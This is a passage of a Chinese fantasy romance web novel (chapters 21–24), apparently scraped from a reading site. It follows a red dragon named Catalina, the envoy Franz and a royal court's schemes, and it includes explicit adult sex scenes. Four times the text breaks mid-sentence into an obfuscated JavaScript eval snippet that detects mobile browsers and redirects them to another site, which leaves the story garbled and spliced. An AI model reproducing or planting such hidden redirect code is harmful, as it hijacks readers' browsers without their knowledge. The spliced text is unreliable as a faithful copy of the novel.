“对，跳舞，”弗兰茨笑了，他突然感觉很轻松，尽管有许多人看着他们，他还是向她迈了一小步，“宴会上大家总是要跳舞的，你要不要也来跳舞？” 卡塔利娜没有说话，她只是看着他，看着他不附加任何意味的浅笑，定定地看了半响后，她慢吞吞地道：“好。” 于是他们跳舞了。 与其说是跳舞，不如说是抱在一起左右摇晃，弗兰茨没有做出交谊舞的邀请动作，卡塔利娜也本就不在乎，于是两个人一拍即合，在舞池没有规律的晃来晃去。 他们靠得不近，不是紧密的拥抱，也没有暖味地贴着腰肢，虽然只是在胡乱地转着圈，但两人都跳得心情愉悦。 “这可不会像弗兰茨表兄会做的事。”舞池之外，阿奇尔·杜兰德小声地和他姐姐议论道。 他十分惊讶，毕竟弗兰茨的性格小心谨慎，并不是喜爱博人眼球的类型，以往的社交场所他也不总是出现，出现了也习惯站在人群之外，可是现在—— 阿奇尔看着弗兰茨脸上并不遮掩的浅笑，十分不解。 “再谨慎的人也想为自己博一个出路吧。”阿奇尔的姐姐淡淡道，意有所指。 闻言，阿奇尔诧异地看向舞池中央，两人动作虽然不亲密也不规范，但红龙的眉梢确实也流过一丝笑意。 一曲舞终，两人便也松开了手，但红龙不再像最开始那样四处走动引起恐慌，而是站在弗兰茨身边说着些什么。 难道说红龙对驭龙女士的后人，确实还存在着几分和善之心，而弗兰茨觉察出这一点，所以有意迎合上去了吗？ “……你的意思是，红龙早已加入了行赏的队伍，并和弗兰茨·罗兰关系良好？”奥伯伦低声问道。 罗斯恭敬回答：“依我所见，确实如此。” “……弗兰茨·罗兰。”奥伯伦对这个名字颇为熟悉，不是因为驭龙女士的缘故，而是因为，因为—— 因为在行赏前，是塞莱斯特向他推荐的弗兰茨！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991990|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她当时是怎么说来着的？ 她当时说：“如果兄长在驭龙女士的后人们中决定不了人选的话，不如选择弗兰茨·罗兰。” ——“弗兰茨·罗兰？” ——“是的，他是我在念书时曾经的同学，性格内敛，并不喜好出风头。我想，他应该是一个合适的人选。” 确实是一个合适的人选。 吉祥物嘛，就应该不争不闹，温柔乖顺，就像他的妹妹一样，奥伯伦放下了警惕心，选择了弗兰茨·罗兰成为本次行赏的使团使者。 可是现在，奥伯伦沉下了心，弗兰茨·罗兰与红龙交好，而弗兰茨·罗兰又是由塞莱斯特推荐的，这其中是否藏有他尚未知晓的内情？ “去把塞莱斯特叫来！”奥伯伦急切催促。 “原来你也在这里。” 红龙突然响起的声音打断了罗斯的步伐，罗斯一抬起头，便见红龙站在一旁玩味地看着他们，她问：“难道你忘了我吗？” 罗斯的动作顿住了，奥伯伦的疑心也随着这句话渐起，但他并不想红龙离他太近，所以他只好先将红龙打发：“阁下——” “我很满意，”红龙自顾自地说话，这让奥伯伦感到不满，感到挑衅，“我还要参加宴会，我要住在这里。” 此话一出，奥伯伦几乎要控制不住自己的表情，他的声音干涩，正要想办法婉拒，突然灵光一现，一个大胆的念头迫使他将即将说出口的话吞了回去：“这、我们当然欢迎阁下的到来，不过王宫——我们将请阁下住在王宫外的金水仙公馆，那里的环境适宜，您的好友罗兰先生现在也住在那儿。” . 是夜。 清风将香根鸢尾的暖香拂进了室内，弗兰茨躺在床上，被这香味扰得莫名睡不着。他在丝滑柔软的床上翻了几次身，却把心也给翻乱了。 他只好坐起来披上外袍，打算走出卧房下楼走走。 才推开沉重的木门，一道熟悉的身影就出现眼前。 来者正是卡塔利娜。 弗兰茨先是吃了一惊，转而又觉得是卡塔利娜会做的事。 他轻声问她：“怎么下来了？” 卡塔利娜定定地看着他，没有马上说话，直到盯得弗兰茨有点儿局促的时候，她才一提嘴角，抬手把弗兰茨往房间里一推，右脚向后一踢将木门关上了。 金水仙公馆本是提供给那些与国王夜谈后的近臣休息的地方，为显王族之慷慨，公馆修建得宽敞又精美，与他们之前在格兰德城住的行驿馆截然不同，因此尽管卡塔利娜关门的动作略显粗鲁，木门合上时也不过轻轻一响，就把其余的事物都关在了门外。 现在，这里只剩下弗兰茨和卡塔利娜。 她在房间里随意走了两圈，然后径直地坐在了弗兰茨尚存余温的大床上。 “怎么不坐？”她在床上弹了两下，发觉弗兰茨还在门口站着。 弗兰茨看了她两眼，还是走了过来，在一旁的椅子上坐下了。 也许是卡塔利娜在这里的缘故，今晚的金水仙公馆很安静，远处朦胧的喧哗则被暧昧的软风推往另一个方向。 两人相视了一会儿，弗兰茨忍不住想问，“怎么”刚离开了嘴巴，他又将嘴闭上了。 “怎么不问了？”这一回，卡塔利娜先问了。 22. 第 22 章 这确实是一个柔软且舒适的夜晚，夜虫轻吟，晚风习习。卧房的窗户半敞着，月光落进来，在地上抹开一层半圆形的白霜。 相比白天展现出的强势，卡塔利娜现在的态度也算得上温和。 但不知为何，弗兰茨却又像回到了最初遇到卡塔利娜的时候，他紧张，局促，不知道说些什么才比较合适。 也许是因为身上这件外袍太厚太闷？ 脑海里闪过这样一个念头，弗兰茨下意识地想解开外袍，手指搭在衣带上的那一刻他才后知后觉地意识到在这样的环境这样的情况下，这样的动作又带有何种性质的暗示意味。 卡塔利娜轻笑了一声。 她看着浅红从弗兰茨的锁骨漫延至他的脖颈，又慢慢地染上脸颊，心情也好上几分。 “你是想到了什么吗？”她从容地、故意地捉弄他，“你有没有想起我？” 她的姿态随意自然，语气戏谑，当她的眼神直直地落到一个人身上的时候，会给人一种被看透的感觉。 弗兰茨此时就是这样的感觉。 但是卡塔利娜突然又向后退了一步，难得没有逼得很紧，她说：“我这次来，是要取一件东西。” 弗兰茨获得了一个可以喘丨息的空间，他应该感到庆幸，心底却又蓦地一空，像踩不到实地一般。 为了躲开这种奇怪的心情，弗兰茨顺着卡塔利娜的话问道：“你要取什么？” “取一个很重要的东西。”尽管没有指明是什么，但是卡塔利娜这番回答却意外地没有跳过话题，她直勾勾地盯着弗兰茨，重复道，“一个很重要的东西。顺便再帮一个小忙。” 弗兰茨大概明白了什么，他试探性地问道：“东西和我有关？” “嗯哼。”卡塔利娜不置可否，片刻，她站了起来，走到弗兰茨身前。 龙的身份暴露后，她不再扎着两根羊角辫，也没有戴那双厚厚的手套，而是向所有人展示她与众不同的犄角与覆盖着细细鳞片的指尖。 而为了向红龙展示善意，金水仙公馆里备好了符合卡塔利娜尺寸的衣物。卡塔利娜把周身的鳞片收了起来，赏光似的把人类准备的衣物穿上了，所以当她靠过来的时候，弗兰茨从她身上闻到了和他一模一样的香皂味道。 两人的距离一瞬拉近，弗兰茨的脸一下子臊了起来，他不可控制地回想起在龙穴发生过的事——他想用其它事情压下去，却在再次见到卡塔利娜后时时回想起来的事。 她现在要做什么？ 弗兰茨不自在地向后挪动了一下，卡塔利娜却什么也没有做，推开木门径直离开了。 . 次日，欢庆的音乐像流水一样在王宫里流淌。 塌了大半个屋顶的宴会厅没法用了，国王便很大方地将王族与重臣私下聚会的宴会厅开放，以欢迎红龙的到来。 新的空间虽不及昨日的宴会厅宽敞，但装潢更奢华更精美——历代名家的巨幅画作，天花板及墙壁上复杂的立体雕刻，以及数枚会散发出眩目光泽的、晶莹剔透的晶石，众人小声惊叹，而卡塔利娜的脸上则露出颇有兴致的表情。 今天来到宴会厅的人和昨天一样，这是卡塔利娜要求的，她要“尽情地享受宴会”，所以人们不得不来。 除此以外，还有一些小小的不同。 驭龙女士的后人们，还有几个家族地位并不算高但野心勃勃的未婚年轻男子们都穿上了十分华贵的衣服。 袖口边的针脚，缎面上的纹理，以及无暇宝石制成的衣扣，显然不是他们各自的家族能够准备的——昨天夜里，数套裁剪精良的服装送至各家门前，随之而来的还有一道秘密口信。 弗兰茨并没有因为昨天和卡塔利娜跳了一段舞蹈今天就一直和她站在一起。他仍是按往常习惯的那样站在舞池之外，卡塔利娜则是和昨天一样四处走动。 只不过昨天她到处乱晃的时候，人们会自动避让她，就像一头鲨鱼四处游曳之时，鱼群会向其它地方游散一般；但在今天，卡塔利娜前进的道路却有了几个阻碍。 她最先遇到一个年轻男孩，他有着海水一般的蓝眼睛，玫瑰花一般的嘴唇，声音胆怯而迟疑，但眼神却流露出一丝骄傲：“尊敬的女士，在下阿奇尔·杜兰德，正是驭龙女士的后人，不知我是否有这个机会，有这个荣幸请教您的芳名，延续友好的情谊？” 自从昨晚收到陛下的秘密口谕后，阿奇尔的心就一直激动不已，接近红龙的行动意味着风险与奖赏共存，但谁会放弃这个能够表现自己的机会呢？他躺在床上，一边因为设想了明日的场景，兴奋地睡不着觉，一边担心自己未能早早入睡导致明日容颜憔悴，不能获得红龙青睐。 但幸好并无差错，弗兰茨表兄也不在红龙身旁，他走到红龙身边，抢到了先机。 听到他的话后，红龙眼皮一掀，眼神锋利，直直地盯着他，盯得他心中忐忑，几乎维持不住笑意的时候，她才冷淡地问：“你也是梅兰妮尔·杜兰德的后人？” “也”。 阿奇尔怎么会不明白这个“也”字的意思，虽然这是一个任务，但他自小便生活在家人的宠爱之中，事事以他为中心，哪里有过今天这样的情况？他抿了抿花瓣一般饱满的嘴唇，略带委屈地回答：“是这样的，女士。” 红龙并不怜惜，她用她那明黄色的眼睛审视着他，突然哼笑了一声，阿奇尔还以为是发生了什么别的事情，却听到她命令道：“叫我卡塔利娜。” 极其傲慢的语气，阿奇尔觉得自己本应会讨厌用这种态度对待自己的人，但当他看向她桀骜不驯的眉毛，薄且轮廓分明的嘴唇，以及那双仿佛永远在居高临下俯视旁人的眼睛，心跳漏了一拍。 阿奇尔突然意识到，眼前这个傲慢的女人和昨天那头极其强大的红龙没有任何区别。他结结巴巴地说了一句“原、原来是卡塔利娜女士”后，原本能言善辩的嘴巴就闭上了，胸膛里的震动却越跳越响。 “卡塔利娜女士，不知您是否有兴趣与我跳今日的第一支舞呢？”在阿奇尔绞尽脑汁回想起昨晚准备好的话时，一个男声却在身旁响起来。 阿奇尔瞪了过去，只见一个高挑英俊的男子正十分殷勤地对卡塔利娜微笑，他认出此人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991991|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是格里芬勋爵家的旁支，想来也是想借此博一个出路。 阿奇尔十分不满，不仅因为他们是竞争者，还有一个他暂时想不明白的缘故。 “卡塔利娜女士，您刚刚说的‘也’，您和我的表兄弗兰茨似乎十分熟络，”他挤了过去，尽管阿奇尔不想借旁人的名头，但在现在这种情况，他却只能这么做，“您愿意讲讲您的故事吗？” 年轻人就像黄鹂一样充满活力，卡塔利娜却不为所动。 在她沉默的这段时间中，围上来的人越来越多，打扮得花枝招展，争先恐后地想要吸引她的注意力。 弗兰茨远远看着，想要上前却仍站在人群边缘。 你为什么不上前呢？ 看着看着，他的心里突然冒出这样一个念头。 他问自己，为什么不上前，为什么不敢上前，又为什么想要上前？ 为什么心中会生出奇怪的感觉，为什么他要告诉自己放纵这种奇怪的感觉只会让事态滑向失控和危险，为什么他明知不宜探究这种感觉，却不再想保持理智，任由情绪的潮水侵袭泛滥？ “弗兰茨？”旁人的声音迫使他脱离情绪的河流，弗兰茨侧身一看，靠过来的是他的一位表妹，阿奇尔的亲姐姐。 “有需要我的帮忙吗，杜兰德小姐。”他回答得并不热络，不止因为他与几位近亲接触得并不算多，还因为他的心情确实没有那么晴朗。 “噢，确实有一个，”杜兰德小姐将他的客套当了真，她向他走进了两步，微笑道，“行赏途中经历不少，如今归来，为何不向大家分享分享经历呢？我们身为驭龙女士的后人，红龙又亲临王都，快和我们讲讲你们是怎么认识的吧，大家都有目共睹呢。” 杜兰德小姐三两句话就将意图暴露了出来，她明明年纪尚轻却也热衷投身于权力的博弈场。 弗兰茨看了杜兰德小姐一眼，突然觉得自己不必也不想再像以前那样说一些套话回绝，他向她点了点头，道一声“失陪”后转身离去。 所以，你为什么不上前呢？ 夜晚，弗兰茨躺在柔软的床上陷入沉思。 白日在宴会上从杜兰德小姐身边脱身后，弗兰茨并没有走向卡塔利娜。 他只是拿着酒盏站在一旁，看着卡塔利娜在人群中摆出一副面无表情的样子，又看着她不快地甩开人群，走到餐台旁进食。 实际上这称不上“甩”，因为她只不过是上前两步，围着她想要讨好她试探她的人们就纷纷后退了几步，让出了一条路——他们始终害怕她。 但即使如此，这也并不能让他舒畅半分，弗兰茨看着，举起酒杯轻饮一口。酒液又酸又涩，的确比不上“贝莉的金杯”中流淌的酒液。 为什么不上前呢？ 寂静的夜晚，只有窗外的夜莺在放声歌唱。 难道是有谁在阻止他吗？ 弗兰茨辗转反侧，片刻，他从床上爬了起来披上外袍，他推开房门，外边空无一人。 没关系，他想。 没关系，他拿起一盏小小的烛台，朝楼上卡塔利娜的卧房走去。 23. 第 23 章 门外有人在靠近。 脚步很轻，很缓，带着一点儿犹豫，但还是逐渐向她的卧房靠近。 黑暗中，卡塔利娜放松地躺在床上，听到门外轻微的声响，嘴角很快地提了一下。 脚步声在卧房门口停了下来，接着是一片安静。 她静静地等了一会儿，敲门声的叩叩声才迟迟响起。 然后是弗兰茨很轻的一声：“卡塔利娜，你睡了吗？” 她没有很快起身下床，而是又等了一会儿，以此充当让她等待的报复，以及满足自己的恶趣味——她享受并喜欢让对方徘徊在煎丨熬和不安中的情丨态。 敲门声停止了，可呼吸声还在。 卡塔利娜难得存有一丝好心，当然也有她不喜欢等待的缘故，她翻身下床，利落地推开了门—— 弗兰茨正站在门外。 他有一点讶异——她这么久没开门，现在却突然开了，他是在惊讶她还没睡？还是以为他的敲门声吵醒了她？ 他的脸色看着有些苍白，但微弱的烛光却又在他的颧骨处抹了两笔红。 呼—— 卡塔利娜将他手里的烛火吹灭了。 她将他拽进卧房，看着他小小地吃了一惊，迫不及待地把他扌安倒在床上。 卧房里并没有燃烛，但她的夜视能力很好，能够很清晰地看见他的脸噌一下地烧了起来，然后开始惊慌地向后躲。但卡塔利娜可不管这些，她重重地压在他身上，双手搭在他的脸上，虎口卡着他的下颚，用气声问他：“你躲什么？” “我、卡塔利娜，”他确实很无措，话都快要说不清楚，“我们，不对，我，我有话要对你说。” “你说。”她趴在他的身上，觉得自己很宽容。 “我、我——”弗兰茨支支吾吾了两声，然后问她，“你能不能，能不能先坐起来。” 哪怕不看，卡塔利娜也能感受到她手底下的肌肤滚烫，她贴着他，嘴唇若即若离地挨着他的脸颊，故意将热气呼在他的脸上：“这样也能说话。还是说，你觉得进来并不会发生什么？” 弗兰茨不说话了。 他将嘴唇抿了起来，半阖的眼睛也看向了一旁。 “你做好了准备。”她笃定道。 她将他微侧的脸掰了回来，拇指往前一探，很轻易就撬开了他抿起的嘴唇，但她不再进行下一步，而是问他：“今天下午怎么一直盯着我，很在乎我？” 漆黑的卧房里，只有两道浅浅的呼吸声交错起伏。 半晌，弗兰茨才认输般闭上了眼睛，他的声音颤抖：“是。” 卡塔利娜满意地笑了。 她从弗兰茨身上翻了下来，侧躺在床上，一只手臂按着他的后背，让他也侧过来与她面对面躺着。 . “你有没有想念？”她一边问他，手下动作也不停。 卡塔利娜伸手，在温热的皮肤之下，她感受到弗兰茨逐渐加速的心跳；但这还不够，她嘴上继续添柴加火：“你知道这会发生，不是吗？” “你不是也在期待吗？”有着尖利指甲的手指毫不怜惜地动作，但她的耐心向来不多，调动情绪的动作没做多少她又抱着弗兰茨的肩膀丨压回他的身上。 . 激烈的动作不断，沉重的呼吸交织，汗很快就挂在了身上。卡塔利娜向后拨弄了一下赤红的头发，继而揽住了弗兰茨的脖子。 卡塔利娜没轻没重地扌安压他的喉结，看着他变得绯红的脸颊和蒙着薄雾的眼睛，故意捉弄他。 “为什么不来找我？”她亢奋地逼问他，两人汗津津地贴在一起，非常亲密，但她仍不放过他，“为什么要让嫉妒侵占你的眼睛，还要让犹豫拖住你的双腿？” “那个年轻男孩，你的表亲。也很漂亮，他叫什么？”她继续折磨他，誓必把他吃掉。 弗兰茨不想回答这个问题，他想要亲她，她却哼笑着将他的嘴捂住了。 卡塔利娜俯视着他，盯着她，浅褐色的瞳孔收缩得极细，在一同抵达的那一刻，她不容拒绝地对他说：“你必须承认你想站在我身边。” . 翌日。 清晨，阳光透过玫瑰色的晨雾，轻柔地落在了窗台上。 几只不甘落后的报晨鸟在枝头跳跃，放声歌唱，弗兰茨迷迷糊糊地睁开眼，看见了一片红色。 那是卡塔利娜头发的颜色。 记忆随之回笼，昨夜发生过的一切在脑海里浮现。这让他的脸又开始热了起来。 他想要舒展身体转移一下注意力，可是卡塔利娜此时正和他面对着面，身体贴着身体地侧躺在床上，他反倒不敢动了。 这实在是，太疯狂了。 弗兰茨轻轻呼出一口气，昨晚，他明明，明明是想和卡塔利娜说一些事情，可是事态完全不在他的掌控之中。卡塔利娜洞悉一切，不仅没让他把话说成，还将他自己也未能完全意识到的私心明明白白地剖了出来。 “是觉得自己没有表现好吗？” 一只指尖覆盖着细细鳞片的手搭上的胸口。 卡塔利娜并不看他，而是有一下没一下地在他身前拨丨弄，揉丨捏，她看着立起来那一点红，看似真诚地建议：“我的巢穴里有很适合它的宝石。” 不仅是脸，这一回，弗兰茨的胸口也染上一片红。他的手也搭了上去，很艰难地想要她松开，但她不肯松开，他也只好放弃。 “……卡塔利娜，”弗兰茨轻声唤她，“昨天下午那些人——” “嗯哼。” “他们，”弗兰茨说得也很艰难，他并不擅长与人紧密接触，而且接下来要说的话，也实在太像在拈酸吃醋，“我的意思是，既然你已经知道国王的意图，那么昨天接近你的那些人，想必也是受到了某些示意。你很好，只是他们对你的示好……” “唔，这里面也包括你的表亲吗？”她有意打断他的话。 阿奇尔。 卡塔利娜指的是阿奇尔，那个比他小了六岁的表弟。 他与他接触不多，但根据他仅有的几次接触和传闻便可得知阿奇尔极受家人宠爱。这本来没什么，他对他并无嫉妒之心，尽管他在罗兰家中的地位与阿奇尔在他自己家中的地位是天差地别。 但是此刻，他的心底开始流淌着不甘的河流，虽然他希望自己能客观地评价他人，可现在他却用原本自己瞧不上的词语劝告她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991992|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你在嫉妒。”卡塔利娜看穿了他，但她没有生气，只是轻佻地摸着他的脸颊。 “但你还是很漂亮。”她评价他。 弗兰茨对这样的夸奖有些不知所措，他只好转移话题：“你要取走什么？国王接下来或许还会做些什么，我知道你十分强大，可是远离这些还是比较合适。” “叛丨丨国丨罪。”她调侃似的定义他，“你在偏向一头红龙。” 他回答“是”，卡塔利娜看着他笑了。 她把腿搭在他的腰上，然后他们又做丨了一次，面对面侧躺，没有像昨晚那么激烈，倒像两条紧紧缠丨绕的蛇。 结束的时候已经临近中午，卡塔利娜的腿还架在弗兰茨身上，懒洋洋地伸着懒腰。 随着动作的拉伸，光线从她身上流过，左边胸口处一道浅色的痕迹落入了弗兰茨的眼里。 这不是那种事留下来的痕迹，这更像是……他看着这道淡粉色的痕迹，觉得这像一道疤。 “你也想评价我？”卡塔利娜看向他。 “我、不是的——”他看着卡塔利娜，看着她嘴角挑起的弧度，明白她是在暗示自己不要提问那道痕迹。 见弗兰茨没有要继续说下去的意思，卡塔利娜笑了笑，然后又问他：“我拿到我想要的东西后，你又有什么打算？小丨叛丨国丨贼。” “我——”弗兰茨迟疑了一下，他看着卡塔利娜永远胜券在握的脸，把一些话藏了起来，又把一些心底话说出来，“我想四处走走。” “嗯哼，我也挺喜欢四处走走，”她若有其事地点点头，然后又摸了摸弗兰茨的腰侧，“很不错的回答。” . 下午的庆典照常举行，众人们似乎觉得红龙只是喜欢吓唬人，不会莫名其妙下死手，氛围也就变得欢乐祥和，甚至连国王也笑眯眯地让财政大臣跳了一次舞。 阳光斜斜地照射进来，宴会厅里浮动着一层淡淡的流金。 阿奇尔总结了昨天失败的经验，他拟好话题，兴致勃勃地想往卡塔利娜身边冲，生怕有人抢先他一步。 挤开人群，他左右一看，很好，格里芬不在，泽维西亚落后于他。他深吸一口气，抚了抚鬓边乌黑的卷发，再一次确定发型的完好无损后，他微笑着走上前：“亲爱的卡塔利娜女士、呃，弗兰茨表兄？” 阿奇尔愣了一下，下意识问道：“你、你怎么会在这里？” 对啊，他怎么会在这里？他不应该是站在宴会厅的角落，或者外边的露台上吗？为什么现在他会站在这里，而红龙的手还搭在他的手臂上？ “那你怎么会站在这里？”表兄笑吟吟地看着他，故意用那种看小孩子的眼神，问小孩子的语气对待他。 被不当回事的怒火嘭一下涌上了大脑，而红龙甚至没有看他一眼，阿奇尔受不了这样的气，气鼓鼓地跑开了。 “你不会喜欢小孩子的吧？”弗兰茨无奈又好笑地看向卡塔利娜，难得开了一个玩笑。 卡塔利娜倒很满意他的表现，她顺着他的手臂往下滑，摸到他的腕骨再往袖子里面丨探。 她摩挲着他温热的皮肤，没管此时正身处于宴会厅，肯定道：“今晚奖励你一点儿新东西吧？” 24. 第 24 章 卡塔利娜的话向来不容拒绝。 即使不可能的事情，她也会将其成真，更何况只是寻求丨快丨感这样简单的事情。 这天夜晚，弗兰茨照旧来到卡塔利娜的房间，尽管宴会厅里卡塔利娜里的话实在是太过惊人，臊得他当场就红了脸。可是不知为何，他现在却怀揣着一种他不想承认的期待，躺在了卡塔利娜的床上。 “你好兴奋。”卡塔利娜笑他。 她的食指从他的眉他的眼，滑到他的唇他的胸口，虚虚点着，时轻时重，每勾起一次手指，尖利地指甲都会擦起一点儿火花，这让弗兰茨忍不住轻轻颤栗起来。 “你很喜欢啊，”她不仅看穿了他，还要说出来，“是不是越痛越兴奋？” 看着弗兰茨微皱的眉头，抿紧的嘴唇，卡塔利娜十分兴奋，她在掌控他的身体上体会到了许多乐趣。 施加□□，推波助澜，她看着弗兰茨的脸上既是痛苦又是欢愉，耳边是他止不住地喘息，这太让她惊喜。眼看他即将到达顶峰，卡塔利娜手上的动作停了下来，她坐到一旁，一只手托住他的下巴，拇指伸入口中按压他的舌头，理直气壮地示意他：“现在轮到你了。” 弗兰茨的脸上还浮着一片红，尽管眼神有些失焦，但他还是顺从地环住了卡塔利娜的腰。 俯身，低头，他沉溺于山谷之中，用唇舌虔诚地去够那天然的泉水。 这让卡塔利娜很愉悦，不仅是生理上的，更是心理上的。 直到她终于满足的时候，她才发一点善心将他从忍耐的痛苦中解救。 “这是你的癖好吗？”沉溺在余韵的浪潮中，弗兰茨与她靠在一起，腿叠着腿，手搭着手。 “你不是挺享受的吗？”卡塔利娜反问，她打量着他的情态，下了定论，“你明明很喜欢。” 弗兰茨没有说话。 他轻轻叹了一口气，但没有哀怨的意思。 澄明的月光混合着暖昧的花香在室内浮动，他与卡塔利娜放松地挨在一起，心底有一丝怅然若失。 究竟是因为什么，他自己也清楚，但此刻氛围实在是太好，他不愿意让深究带来心灵上的折磨。 叩叩叩—— 一阵敲门声打断了此时的平静，接着是阿奇尔清脆的声音：“卡塔利娜女士，您睡着了吗？” 他怎么会在这里？ 弗兰茨感到错愕，但在下一瞬他便想通了其中的关窍。 “你的表弟前来献身了。”卡塔利娜看着他，戏谑地调侃，“我要去开门吗？弗兰茨表兄。” 不要。 弗兰茨没有说话，但他用眼神用行动挽留她，讨好她——和你一起经历了那么多的是我，今晚你的选择也应该是我。 卡塔利娜很满意，也很享受。 很快，谁也没有精力去管门外的人到底还在不在了。 . “你是不是故意的？”留住卡塔利娜的后果就是第二天被幼稚的小孩找上门。 弗兰茨站在餐台旁，身边站着一个怒气冲冲的阿奇尔。 “我可不明白你说的谜语。”弗兰茨回以诧异。 “你就是故意的！”阿奇尔的脸通红，“我昨天先去找你，你不在，我再去找她，她也不开门，你是不是就在里面？！是不是你叫她不要开门的？！” “你昨天在金水仙公馆？”即使被挑明了事实，弗兰茨仍是微笑，“别对你的表兄这么粗鲁，阿奇尔表弟。真奇怪不是吗？昨晚你应该在家里才对，私闯金水仙公馆可不是什么小事；如果还有其他人帮忙，那可会更加严重了。你可不要因为冲动，而有损驭龙女士的名誉啊。” 阿奇尔瞠目结舌，但昨晚确实是家里人熬不过他的恳求买通守卫放他进去的，可是、可是：“什、什么私闯，我才没有。再说了，你有什么资格提驭龙女士的名誉，你又不姓杜兰德！” 弗兰茨若有其事地点点头：“但陛下选择了我做使团使者。” 阿奇尔论不过弗兰茨，他不想再做什么任务了，反正陛下也没有让他当什么使团成员。 他气鼓鼓地走了，可是弗兰茨身边又有一人出现。 “久仰您的大名，罗兰先生。” 来者正是一位使团成员，她并非出身骑士团或者国王近卫，而是来自王国南部的谢利子爵家。她在海难中受了伤，在格兰德城内休养，直到被送回王国大陆。 她与其他人交情不多，唯独与雷东多交好，在他们回到金水仙公馆那日后，弗兰茨时常能见到他们交谈。 因此他并不知晓，谢利小姐对于“行赏”所发生的事情究竟了解多少，对现在的情况又知道多少。 谢利小姐向他点头致意：“我常听雷东多提起您，他称赞您的勇气与智慧，还有您的善心——您知道的，善心在现在可不多得了，这实在是想让人结识一番。” 她的话实在是恭维，弗兰茨和她交谈了一会儿，这才意识到这两天都没有见到雷东多。 这很奇怪，国王当时只将伍德关押了下去，难道后来又秘密抓住了雷东多？这实在没有道理。 弗兰茨暗自思忖，谢利小姐也看出了他在走神。她并没有露出不满的表情，而是向他身后轻轻一瞥，微妙地笑了起来。 “格里芬先生好热情啊。” 弗兰茨顺着她的话看过去，只见一个高挑男子极近地贴在卡塔利娜身旁，尽管卡塔利娜仍是面无表情的模样，但他笑得依旧灿烂。 这几日，卡塔利娜的举动尽管没有伤人的意思，但她十分自我的态度，让不少人不愿靠近，而她极其直白简洁的语言，更是让旁人不知该如何与她交流。 唯独格里芬，第一天他先是邀请卡塔利娜跳舞被拒，接着第二天又因为私事参加宴会迟来一步，错过了靠近的机会；而现在，他仿佛什么事情都没发生过一般，热情地站在卡塔利娜，从怀里掏出了一只小木鸟。 格里芬点点小木鸟的脑袋，它便扇着木翅膀扑啦啦飞到了卡塔利娜的面前。 “格里芬先生真的很会讨人欢心呢。”谢利小姐见了，也忍不住笑了起来。 弗兰茨心头微微一跳，他先是本能地觉察出谢利小姐的话不只是一句夸赞，接着心底又涌起一股说不清道不明的感觉。 有点酸涩，又有点懊恼。 失落在这一瞬催促着他向卡塔利娜的方向走去，只是没想到谢利小姐也跟了上来。 格里芬大概也很诧异，但他还是十分热情地向两人问好致意，随后又看向卡塔利娜，笑眯眯地问她：“您喜欢吗？” 卡塔利娜并没有什么表情变化，她只是挑了挑眉，吐出“尚可”两个字。 听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998404|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的评价，格里芬神色不变，顺着卡塔利娜的话往下：“那是当然了，您经历了百年前的战争，又见识过这么多的事物，一只小小的木鸟自然比不上那些奇珍异宝了。木鸟以供解闷，不过我却十分好奇，您在见识过这么多事物后，有没有什么喜欢的东西呢？” 这个问题实在大胆，可卡塔利娜却也难得开口，她的嘴角流露出一丝玩味的笑意：“你们送来的金杯，我倒是十分满意。” 金杯。 谢利和格里芬点点头，并没有露出很惊讶的表情，可弗兰茨知道，卡塔利娜所说的金杯，其实指的是“贝莉的金杯”。 再加上卡塔利娜轻轻擦过他身上的眼神，这让他颇不自在地眨了眨眼睛。 格里芬见了，微微一笑，他看出弗兰茨与卡塔利娜关系并不像表面上那样，只是使者与龙的关系。但他没说什么，而是对弗兰茨调侃道：“看来，罗兰先生也见过那只金杯呢，一定很漂亮吧？” 他很敏锐，弗兰茨暗暗吃惊，他一边带过这个问题，一边回想格里芬这个人。 